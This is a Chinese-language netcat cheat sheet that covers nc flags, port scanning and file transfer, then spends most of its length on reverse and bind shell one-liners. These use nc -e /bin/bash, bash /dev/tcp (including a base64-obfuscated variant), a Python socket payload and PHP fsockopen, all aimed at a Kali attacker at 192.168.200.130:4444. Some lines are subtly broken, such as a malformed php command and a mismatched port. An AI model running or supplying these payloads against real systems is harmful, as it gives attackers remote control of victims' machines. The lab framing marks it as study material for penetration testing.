NC反弹shell的几种方法
nc的作用
(1)实现任意TCP/UDP端口的侦听,nc可以作为server以TCP或UDP方式侦听指定端口
(2)端口的扫描,nc可以作为client发起TCP或UDP连接
(3)机器之间传输文件
(4)机器之间网络测速
常用参数
1) -l 用于指定nc将处于侦听模式。指定该参数,则意味着nc被当作server,侦听并接受连接,而非向其它地址发起连接。 2) -p <port> 暂未用到(老版本的nc可能需要在端口号前加-p参数,下面测试环境是centos6.6,nc版本是nc-1.84,未用到-p参数) 3) -s 指定发送数据的源IP地址,适用于多网卡机 4) -u 指定nc使用UDP协议,默认为TCP 5) -v 输出交互或出错信息,新手调试时尤为有用 6)-w 超时秒数,后面跟数字 7)-z 表示zero,表示扫描时不发送任何数据
常用命令
连接远程主机
nc -nvv ip port
端口扫描
nc -v ip port //指定端口 nc -v -z ip 1-1555 //指定端口段
文件传输
nc -lvp 8888 < test.txt 服务端 nc -nv 服务端ip 8888 > test.txt 客户端
正向反弹shell
假如ubuntu、CentOS为目标服务器系统
kali为攻击者的系统,ip为:192.168.200.130,开放4444端口且没被占用
最终是将ubuntu、CentOS的shell反弹到kali上
目标服务器输入
nc -l -p 4444 -t -e /bin/bash
kali上输入
nc -vv ip 4444
正向反弹是目标机先执行nc命令,然后kali上再进行nc监听,即可反弹shell。
需要目标机安装nc。
反向反弹shell
方法1: nc反弹
首先在kali上输入nc监听:
nc -lvp 4444
目标服务器上使用nc去反向连接,命令如下:
nc -t -e /bin/bash 192.168.200.130 4444
方法2:bash反弹
bash -i >& /dev/tcp/ip/port 0>&1
base64版
bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjIwMC4xMzAvNDQ0NCAwPiYx|{base64,-d}|{bash,-i}'
但首先需要在kali上使用nc监听端口:
nc -lvp 4444
此方法在ubuntu下不会反弹成功,CentOS可以反弹成功。
方法3:python反弹
反弹shell的命令如下:
python -c "import os,socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('ip',port));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(['/bin/bash','-i']);"
首先,使用nc在kali上监听端口:
nc -lvp 4444
在CentOS或者ubuntu下使用python去反向连接,输入:
python -c "import os,socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('192.168.200.130',4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(['/bin/bash','-i']);
此方法ubuntu和Linux均反弹成功。
方法4:php反弹shell
首先在kali上输入:
nc -lvp 4444
然后在目标机上输入:
php- 'exec("/bin/bash -i >& /dev/tcp/192.168.200.130/44444")' 或 php -r '$sock=fsockopen("192.168.200.130",4444);exec("/bin/bash -i 0>&3 1>&3 2>&3");'
注意php反弹shell的这些方法都需要php关闭safe_mode这个选项,才可以使用exec函数。
遇到反弹后不是正常的shell,可用命令:
python -c 'import pty;pty.spawn("/bin/bash")'
转化为常规的shell。